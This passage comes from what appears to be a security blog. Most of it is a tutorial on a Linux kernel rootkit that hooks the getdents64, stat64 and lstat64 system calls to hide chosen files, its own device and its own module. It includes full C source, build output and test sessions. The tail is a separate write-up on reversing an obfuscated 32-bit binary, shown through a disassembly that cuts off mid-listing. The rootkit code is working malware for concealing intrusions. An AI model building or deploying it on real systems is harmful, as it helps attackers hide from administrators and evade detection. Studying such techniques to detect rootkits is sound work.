[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:app")'
[email protected]:~/lkms/hidefiles# ls
app.c   cdev.h  functs.c  functs.o         hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
cdev.c  cdev.o  functs.h  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:app.c")'
[email protected]:~/lkms/hidefiles# ls
cdev.c  cdev.o    functs.h  hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
cdev.h  functs.c  functs.o  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:app.c")'
[email protected]:~/lkms/hidefiles# ls
app.c   cdev.h  functs.c  functs.o         hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
cdev.c  cdev.o  functs.h  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:app")'
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.mod.c")'
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
app.c  cdev.h  functs.c  functs.o  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.mod.o")'
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
app.c  cdev.h  functs.c  functs.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# rmmod hidefiles
[email protected]:~/lkms/hidefiles# ls
app     cdev.h    functs.h      hidefiles.mod.c  list.c  main.c    modules.order   syscalls.h
app.c   cdev.o    functs.o      hidefiles.mod.o  list.h  main.o    Module.symvers  syscalls.o
cdev.c  functs.c  hidefiles.ko  hidefiles.o      list.o  Makefile  syscalls.c      thisisatestfile.txt

As you can see, we are now able to hide and unhide files on demand, there is, however, still a problem:

1
2
3
4
5
6
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.ko     hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
[email protected]:~/lkms/hidefiles# ls thisisatestfile.txt
thisisatestfile.txt

Hiding Files Better

Now let's hide the files even when they are queried directly.

To figure out how to do this we will use the same method as we did when figuring out how to hide files to being with, by looking at the system calls that are being made and hooking them.

We will start by determining the system calls responsible for this:

1
2
3
4
5
[email protected]:~/lkms/hidefiles# strace ls thisisatestfile.txt 2>&1 | grep 'thisisatestfile.txt'
execve("/bin/ls", ["ls", "thisisatestfile.txt"], [/* 18 vars */]) = 0
stat64("thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
lstat64("thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(1, "thisisatestfile.txt\n", 20thisisatestfile.txt

I've grepped for the filename because the system call must be querying the filename directly, we've found 2 (stat64 and lstat64).

It looks like it returns 0 when its successful, let's see what happens when its unsuccessful:

1
2
3
4
5
[email protected]:~/lkms/hidefiles# strace ls thisisnotafile.txt 2>&1 | grep 'thisisnotafile.txt'
execve("/bin/ls", ["ls", "thisisnotafile.txt"], [/* 18 vars */]) = 0
stat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)
lstat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)
write(2, "cannot access thisisnotafile.txt", 32cannot access thisisnotafile.txt) = 32

So they return -ENOENT if the file does not exist.

Another thing to note about this output is that the second argument to both stat64 and lstat64 is a pointer to a buffer which on a success is populated by the system call and obviously left blank in a failure.

The manpage for these functions confirms that:

1
2
int stat(const char *path, struct stat *buf);
int lstat(const char *path, struct stat *buf);

We don't care too much about the stat struct because if it matches any of our hidden files we will just return -ENOENT and otherwise we will forward the request to the original system call.

If we wanted to actually manipulate the results that applications got back from these systems calls, we could use this structure to do so.

One more thing to check is what the request looks like when a full path is given:

1
2
3
4
[email protected]:~/lkms/hidefiles# strace ls ~/lkms/hidefiles/thisisatestfile.txt 2>&1 | grep 'thisisatestfile.txt'
stat64("/root/lkms/hidefiles/thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
lstat64("/root/lkms/hidefiles/thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(1, "/root/lkms/hidefiles/thisisatest"..., 41/root/lkms/hidefiles/thisisatestfile.txt

So the full path is passed to the system call, we will have to deal with this because obviously we only have a list of filenames so we will have to manually extract the actual filename to check against our list.

First let's write the function which extracts the filename from the full path and checks if it is in the list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int extractfilename(const char *f)
{
    int i, n, c;
    size_t l;
    l = strlen(f);

    for(i = l-1, n = 0; i>=0; i--, n++){
        if(f[i] == '/'){
            i = -1;
            break;
        }
    }

    if(i == -1)
        c = n+1;
    else
        c = l;

    char s[c];
    memset(s, 0, c);

    for(i = 0; n>0; i++, n--)
        s[i] = f[l-n];

    return lookupfilename(s);
}

We need to add the prototype in list.h so that the other files can use it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#ifndef LIST
#define LIST

#include <linux/vmalloc.h>

// Functions
void addfile(const char *f);
void remfile(const char *f);
void emptylist(void);
int lookupfilename(const char *f);
int extractfilename(const char *f);

#endif

Now for the system calls, this should be added to syscalls.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
asmlinkage int (*original_stat64) (const char *path, struct stat64 *buf);
asmlinkage int (*original_lstat64) (const char *path, struct stat64 *buf);

asmlinkage int stat64_hook(const char *path, struct stat64 *buf)
{
    if ((extractfilename(path)) == 1)
        return -ENOENT;
    return original_stat64(path, buf);
}

asmlinkage int lstat64_hook(const char *path, struct stat64 *buf)
{
    if ((extractfilename(path)) == 1)
        return -ENOENT;
    return original_lstat64(path, buf);
}

And we need to update syscalls.h:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#ifndef SYSCALLS
#define SYSCALLS

#include <linux/semaphore.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/stat.h>

// Functions
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
extern asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
asmlinkage int stat64_hook(const char *path, struct stat64 *buf);
asmlinkage int lstat64_hook(const char *path, struct stat64 *buf);
extern asmlinkage int (*original_stat64) (const char *path, struct stat64 *buf);
extern asmlinkage int (*original_lstat64) (const char *path, struct stat64 *buf);

#endif

We need to include linux/stat.h because that includes the declaration of the stat64 structure.

And lastly we need to update main.c to hook and unhook these 2 syscalls on load/unload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

#include "syscalls.h"
#include "functs.h"
#include "list.h"
#include "cdev.h"

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;
    original_getdents64 = sys_call_table[__NR_getdents64];
    original_stat64 = sys_call_table[__NR_stat64];
    original_lstat64 = sys_call_table[__NR_lstat64];

    disable_write_protection();
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    sys_call_table[__NR_stat64] = stat64_hook;
    sys_call_table[__NR_lstat64] = lstat64_hook;
    enable_write_protection();
    misc_register(&dev_misc_device);
    addfile("hidefiles");
    addfile("hidefiles.ko");
    return 0;
}

static void __exit hidefiles_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents64] = original_getdents64;
    sys_call_table[__NR_stat64] = original_stat64;
    sys_call_table[__NR_lstat64] = original_lstat64;
    enable_write_protection();
    misc_deregister(&dev_misc_device);
    emptylist();
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

I've changed the files that it automatically hides when loaded to hidefiles (which is the name of the character device file) and hidefiles.ko (which is the name of the LKM) because this is more useful, in reality these would be named something less descriptive and the other source files wouldn't be there.

Finally to test it:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
[email protected]:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:19:17: warning: assignment from incompatible pointer type [enabled by default]
  CC [M]  /root/lkms/hidefiles/syscalls.o
  CC [M]  /root/lkms/hidefiles/list.o
/root/lkms/hidefiles/list.c: In function ‘extractfilename’:
/root/lkms/hidefiles/list.c:110:2: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
  CC [M]  /root/lkms/hidefiles/cdev.o
/root/lkms/hidefiles/cdev.c: In function ‘dev_write’:
/root/lkms/hidefiles/cdev.c:51:1: warning: the frame size of 1032 bytes is larger than 1024 bytes [-Wframe-larger-than=]
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkms/hidefiles/hidefiles.mod.o
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
[email protected]:~/lkms/hidefiles# ls -l
total 852
-rwxr-xr-x 1 root root   5765 Nov  5 13:49 app
-rw-r--r-- 1 root root    594 Nov  5 13:09 app.c
-rw-r--r-- 1 root root   1462 Nov  5 20:10 cdev.c
-rw-r--r-- 1 root root    281 Nov  5 12:32 cdev.h
-rw-r--r-- 1 root root  58968 Nov  5 20:34 cdev.o
-rw-r--r-- 1 root root   1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root    154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root  69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root 278101 Nov  5 20:41 hidefiles.ko
-rw-r--r-- 1 root root   1203 Nov  5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root  43172 Nov  5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov  5 20:41 hidefiles.o
-rw-r--r-- 1 root root   2015 Nov  5 20:12 list.c
-rw-r--r-- 1 root root    227 Nov  5 20:34 list.h
-rw-r--r-- 1 root root  21336 Nov  5 20:34 list.o
-rw-r--r-- 1 root root   1261 Nov  5 20:41 main.c
-rw-r--r-- 1 root root  72572 Nov  5 20:41 main.o
-rw-r--r-- 1 root root     78 Nov  5 11:34 Makefile
-rw-r--r-- 1 root root     41 Nov  5 20:41 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root   1163 Nov  5 20:32 syscalls.c
-rw-r--r-- 1 root root    672 Nov  5 20:30 syscalls.h
-rw-r--r-- 1 root root  19560 Nov  5 20:34 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls -l
total 580
-rwxr-xr-x 1 root root   5765 Nov  5 13:49 app
-rw-r--r-- 1 root root    594 Nov  5 13:09 app.c
-rw-r--r-- 1 root root   1462 Nov  5 20:10 cdev.c
-rw-r--r-- 1 root root    281 Nov  5 12:32 cdev.h
-rw-r--r-- 1 root root  58968 Nov  5 20:34 cdev.o
-rw-r--r-- 1 root root   1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root    154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root  69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root   1203 Nov  5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root  43172 Nov  5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov  5 20:41 hidefiles.o
-rw-r--r-- 1 root root   2015 Nov  5 20:12 list.c
-rw-r--r-- 1 root root    227 Nov  5 20:34 list.h
-rw-r--r-- 1 root root  21336 Nov  5 20:34 list.o
-rw-r--r-- 1 root root   1261 Nov  5 20:41 main.c
-rw-r--r-- 1 root root  72572 Nov  5 20:41 main.o
-rw-r--r-- 1 root root     78 Nov  5 11:34 Makefile
-rw-r--r-- 1 root root     41 Nov  5 20:41 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root   1163 Nov  5 20:32 syscalls.c
-rw-r--r-- 1 root root    672 Nov  5 20:30 syscalls.h
-rw-r--r-- 1 root root  19560 Nov  5 20:34 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
[email protected]:~/lkms/hidefiles# ls -l /dev/hidefiles
ls: cannot access /dev/hidefiles: No such file or directory
[email protected]:~/lkms/hidefiles# ls -l hidefiles.ko
ls: cannot access hidefiles.ko: No such file or directory
[email protected]:~/lkms/hidefiles# ls -l ~/lkms/hidefiles/hidefiles.ko
ls: cannot access /root/lkms/hidefiles/hidefiles.ko: No such file or directory
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.c")'
[email protected]:~/lkms/hidefiles# ls -l list.c
ls: cannot access list.c: No such file or directory
[email protected]:~/lkms/hidefiles# ls
app     functs.c         hidefiles.o  Makefile        syscalls.o
app.c   functs.h         list.h       modules.order   thisisatestfile.txt
cdev.c  functs.o         list.o       Module.symvers
cdev.h  hidefiles.mod.c  main.c       syscalls.c
cdev.o  hidefiles.mod.o  main.o       syscalls.h
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.h")'
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.o")'
[email protected]:~/lkms/hidefiles# ls
app     cdev.o    hidefiles.mod.c  main.o          syscalls.c
app.c   functs.c  hidefiles.mod.o  Makefile        syscalls.h
cdev.c  functs.h  hidefiles.o      modules.order   syscalls.o
cdev.h  functs.o  main.c           Module.symvers  thisisatestfile.txt
[email protected]:~/lkms/hidefiles# for f in `ls`; do python -c "open('/dev/hidefiles', 'w').write(\"a:$f\")"; done
[email protected]:~/lkms/hidefiles# ls
[email protected]:~/lkms/hidefiles# ls -l
total 0
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:list.o")'
[email protected]:~/lkms/hidefiles# ls
list.o
[email protected]:~/lkms/hidefiles# rmmod hidefiles
[email protected]:~/lkms/hidefiles# ls
app     cdev.o    hidefiles.ko     list.c  main.o          syscalls.c
app.c   functs.c  hidefiles.mod.c  list.h  Makefile        syscalls.h
cdev.c  functs.h  hidefiles.mod.o  list.o  modules.order   syscalls.o
cdev.h  functs.o  hidefiles.o      main.c  Module.symvers  thisisatestfile.txt

Funnily enough this also hides directories with a name that is in the list but doesn't stop you from cd'ing there:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# cd ..
[email protected]:~/lkms# ls -l
total 720
-rw-r--r-- 1 root root    380 May 12 19:47 hello.c
-rw-r--r-- 1 root root  74389 Jul 11 17:54 hello.ko
-rw-r--r-- 1 root root    659 Jul 11 17:54 hello.mod.c
-rw-r--r-- 1 root root  42436 Jul 11 17:54 hello.mod.o
-rw-r--r-- 1 root root  32960 Jul 11 17:53 hello.o
-rw-r--r-- 1 root root   2080 Jul 11 18:18 hidefile.c
-rw-r--r-- 1 root root 122949 Jul 11 18:18 hidefile.ko
-rw-r--r-- 1 root root    810 Jul 11 17:54 hidefile.mod.c
-rw-r--r-- 1 root root  42636 Jul 11 17:54 hidefile.mod.o
-rw-r--r-- 1 root root  81320 Jul 11 18:18 hidefile.o
-rw-r--r-- 1 root root    195 Jul 11 17:51 Makefile
-rw-r--r-- 1 root root     86 Jul 11 18:18 modules.order
-rw-r--r-- 1 root root      0 May 12 19:35 Module.symvers
-rwxr-xr-x 1 root root   6107 Jun  4 21:04 reverse_app
-rwxr-xr-x 1 root root   6135 Jun  9 23:21 reverse-app
-rwxr-xr-x 1 root root   6140 Jun  9 23:41 reverse-app2
-rw-r--r-- 1 root root    899 Jun  9 23:41 reverse-app2.c
-rw-r--r-- 1 root root    899 Jun  9 23:14 reverse-app.c
-rw-r--r-- 1 root root   2013 Jun  9 22:49 reverse.c
-rw-r--r-- 1 root root 119395 Jul 11 17:54 reverse.ko
-rw-r--r-- 1 root root   1019 Jul 11 17:54 reverse.mod.c
-rw-r--r-- 1 root root  42888 Jul 11 17:54 reverse.mod.o
-rw-r--r-- 1 root root  77532 Jul 11 17:53 reverse.o
-rwxr-xr-x 1 root root   6587 Jun  9 22:25 reverse-test-app
-rw-r--r-- 1 root root    987 Jun  9 22:16 reverse-test-app.c
-rw-r--r-- 1 root root      0 Jul 11 18:18 thisisatestfile.txt
[email protected]:~/lkms# ls -l hidefiles
ls: cannot access hidefiles: No such file or directory
[email protected]:~/lkms# ls -l hidefiles/
total 580
-rwxr-xr-x 1 root root   5765 Nov  5 13:49 app
-rw-r--r-- 1 root root    594 Nov  5 13:09 app.c
-rw-r--r-- 1 root root   1462 Nov  5 20:10 cdev.c
-rw-r--r-- 1 root root    281 Nov  5 12:32 cdev.h
-rw-r--r-- 1 root root  58968 Nov  5 20:34 cdev.o
-rw-r--r-- 1 root root   1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root    154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root  69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root   1203 Nov  5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root  43172 Nov  5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov  5 20:41 hidefiles.o
-rw-r--r-- 1 root root   2015 Nov  5 20:12 list.c
-rw-r--r-- 1 root root    227 Nov  5 20:34 list.h
-rw-r--r-- 1 root root  21336 Nov  5 20:34 list.o
-rw-r--r-- 1 root root   1261 Nov  5 20:41 main.c
-rw-r--r-- 1 root root  72572 Nov  5 20:41 main.o
-rw-r--r-- 1 root root     78 Nov  5 11:34 Makefile
-rw-r--r-- 1 root root     41 Nov  5 20:41 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root   1163 Nov  5 20:32 syscalls.c
-rw-r--r-- 1 root root    672 Nov  5 20:30 syscalls.h
-rw-r--r-- 1 root root  19560 Nov  5 20:34 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
[email protected]:~/lkms# cd hidefiles
[email protected]:~/lkms/hidefiles#

Anyway, our improved rootkit seems to work nicely and as expected.

It is still currently easy to detect our rootkit though:

1
2
[email protected]:~/lkms/hidefiles# lsmod | grep hide
hidefiles              12763  0

You can get the full finished source code for the rootkit here.

Conclusion

We have used a number of techniques here to figure out how to hide files on the system and we have combined all of the knowledge we have gained to far to achieve this.

However, there are still a lot of ways we can improve this LKM, hiding the LKM's existence, and using the network to communicate are just a couple (we will take these up later).

When dealing with kernel code you have to be very careful as you can break the whole system, this is evident with the first character device that we created (just load the device and write 5000 bytes to it, the system will crash instantly).

Happy Kernel Hacking :-)

Further Reading

This article on Kernel Rootkit Tricks by Jürgen Quade

The Phrack article titled Linux on-the-fly kernel patching without LKM by sd and devik

Designing BSD Rootkits by Joseph Kong

And of course the kernel documentation

Reversing A Simple Obfuscated Application

30 September 2014 at 20:43
By: 0xe7

I created this application as a little challenge and some practice at manually obfuscating an application at the assembly level.

I wrote the application in IA32 assembly and then manually obfuscated it using a couple of different methods.

Here I will show how to solve the challenge in 2 different ways.

Lastly I will show how the obfuscation could have been done better so that it would have been a lot more difficult to solve this using a simple static disassembly.

The Challenge

We are given the static disassembly below of a 32bit linux application which says whether or not the author is going to some event:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
./going-or-not-obf:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060:   89 c2                   mov    edx,eax
 8048062:   bf 25 00 00 00          mov    edi,0x25
 8048067:   eb 4d                   jmp    0x80480b6
 8048069:   b3 32                   mov    bl,0x32
 804806b:   5e                      pop    esi
 804806c:   31 c0                   xor    eax,eax
 804806e:   74 6c                   je     0x80480dc
 8048070:   b7 6a                   mov    bh,0x6a
 8048072:   e8 17 00 00 00          call   0x804808e
 8048077:   b1 04                   mov    cl,0x4
 8048079:   8a 06                   mov    al,BYTE PTR [esi]
 804807b:   29 cc                   sub    esp,ecx
 804807d:   41                      inc    ecx
 804807e:   30 c8                   xor    al,cl
 8048080:   31 c9                   xor    ecx,ecx
 8048082:   83 f8 04                cmp    eax,0x4
 8048085:   74 12                   je     0x8048099
 8048087:   8d 4d f1                lea    ecx,[ebp-0xf]
 804808a:   b2 10                   mov    dl,0x10
 804808c:   eb 09                   jmp    0x8048097
 804808e:   31 db                   xor    ebx,ebx
 8048090:   31 c9                   xor    ecx,ecx
 8048092:   89 ca                   mov    edx,ecx
 8048094:   ff 24 24                jmp    DWORD PTR [esp]
 8048097:   eb 05                   jmp    0x804809e
 8048099:   8d 4d e5                lea    ecx,[ebp-0x1b]
 804809c:   b2 0c                   mov    dl,0xc
 804809e:   31 c0                   xor    eax,eax
 80480a0:   b0 08                   mov    al,0x8
 80480a2:   bb 04 00 00 00          mov    ebx,0x4
 80480a7:   29 d8                   sub    eax,ebx
 80480a9:   29 c3                   sub    ebx,eax
 80480ab:   43                      inc    ebx
 80480ac:   cd 80                   int    0x80
 80480ae:   31 c0                   xor    eax,eax
 80480b0:   31 db                   xor    ebx,ebx
 80480b2:   fe c0                   inc    al
 80480b4:   cd 80                   int    0x80
 80480b6:   e8 ae ff ff ff          call   0x8048069
 80480bb:   ed                      in     eax,dx
 80480bc:   4e                      dec    esi
 80480bd:   65 23 2a                and    ebp,DWORD PTR gs:[edx]
 80480c0:   2d 2b 23 64 30          sub    eax,0x3064232b
 80480c5:   2b 2a                   sub    ebp,DWORD PTR [edx]
 80480c7:   64 29 25 64 0d 4e 65    sub    DWORD PTR fs:0x654e0d64,esp
 80480ce:   23 2a                   and    ebp,DWORD PTR [edx]
 80480d0:   2d 2b 23 64 29          sub    eax,0x2964232b
 80480d5:   25 64 0d ee 89          and    eax,0x89ee0d64
 80480da:   89 c5                   mov    ebp,eax
 80480dc:   b0 c9                   mov    al,0xc9
 80480de:   01 f8                   add    eax,edi
 80480e0:   eb 1f                   jmp    0x8048101
 80480e2:   8d 55 00                lea    edx,[ebp+0x0]
 80480e5:   88 0c 24                mov    BYTE PTR [esp],cl
 80480e8:   4c                      dec    esp
 80480e9:   68 e9 80 04 08          push   0x80480e9
 80480ee:   85 d2                   test   edx,edx
 80480f0:   38 02                   cmp    BYTE PTR [edx],al
 80480f2:   0f 84 78 ff ff ff       je     0x8048070
 80480f8:   89 fb                   mov    ebx,edi
 80480fa:   83 c3 1f                add    ebx,0x1f
 80480fd:   30 1a                   xor    BYTE PTR [edx],bl
 80480ff:   4a                      dec    edx
 8048100:   c3                      ret    
 8048101:   31 ed                   xor    ebp,ebp
 8048103:   31 c9                   xor    ecx,ecx
 8048105:   31 d2                   xor    edx,edx
 8048107:   42                      inc    edx
 8048108:   8d 2c 0c                lea    ebp,[esp+ecx*1]
 804810b:   8a 0c 16                mov    cl,BYTE PTR [esi+edx*1]
 804810e:   38 c1                   cmp    cl,al
 8048110:   74 d0                   je     0x80480e2
 8048112:   88 0c 24                mov    BYTE PTR [esp],cl
 8048115:   83 ec 01                sub    esp,0x1
 8048118:   42                      inc    edx
 8048119:   89 e4                   mov    esp,esp
 804811b:   83 f9 00                cmp    ecx,0x0
 804811e:   7f eb                   jg     0x804810b
 8048120:   89 ed                   mov    ebp,ebp
 8048122:   c3                      ret

The challenge is to figure out whether or not the author is going based solely on this static disassembly.

Method 1: The Easy Way

In this method we'll rebuild the application and simply run it to get the answer.

The first step is to copy the instruction into a new nasm file, if we do that we get:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
global _start

section .text

_start:
    mov    edx,eax
    mov    edi,0x25
    jmp    0x80480b6
    mov    bl,0x32
    pop    esi
    xor    eax,eax
    je     0x80480dc
    mov    bh,0x6a
    call   0x804808e
    mov    cl,0x4
    mov    al,BYTE PTR [esi]
    sub    esp,ecx
    inc    ecx
    xor    al,cl
    xor    ecx,ecx
    cmp    eax,0x4
    je     0x8048099
    lea    ecx,[ebp-0xf]
    mov    dl,0x10
    jmp    0x8048097
    xor    ebx,ebx
    xor    ecx,ecx
    mov    edx,ecx
    jmp    DWORD PTR [esp]
    jmp    0x804809e
    lea    ecx,[ebp-0x1b]
    mov    dl,0xc
    xor    eax,eax
    mov    al,0x8
    mov    ebx,0x4
    sub    eax,ebx
    sub    ebx,eax
    inc    ebx
    int    0x80
    xor    eax,eax
    xor    ebx,ebx
    inc    al
    int    0x80
    call   0x8048069
    in     eax,dx
    dec    esi
    and    ebp,DWORD PTR gs:[edx]
    sub    eax,0x3064232b
    sub    ebp,DWORD PTR [edx]
    sub    DWORD PTR fs:0x654e0d64,esp
    and    ebp,DWORD PTR [edx]
    sub    eax,0x2964232b
    and    eax,0x89ee0d64
    mov    ebp,eax
    mov    al,0xc9
    add    eax,edi
    jmp    0x8048101
    lea    edx,[ebp+0x0]
    mov    BYTE PTR [esp],cl
    dec    esp
    push   0x80480e9
    test   edx,edx
    cmp    BYTE PTR [edx],al
    je     0x8048070
    mov    ebx,edi
    add    ebx,0x1f
    xor    BYTE PTR [edx],bl
    dec    edx
    ret    
    xor    ebp,ebp
    xor    ecx,ecx
    xor    edx,edx
    inc    edx
    lea    ebp,[esp+ecx*1]
    mov    cl,BYTE PTR [esi+edx*1]
    cmp    cl,al
    je     0x80480e2
    mov    BYTE PTR [esp],cl
    sub    esp,0x1
    inc    edx
    mov    esp,esp
    cmp    ecx,0x0
    jg     0x804810b
    mov    ebp,ebp
    ret

When we try to assemble this we get:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[email protected]:~# nasm -felf32 -o going-or-not-obf-test1 going-or-not-obf-test1.nasm going-or-not-obf-test1.nasm:16: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:29: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:47: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:49: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:50: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:51: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:59: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:63: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:67: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:75: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:78: error: comma, colon or end of line expected

Looking at the lines that have caused the errors:

 1
 2
 3
 4
 5
 6
 7
 8
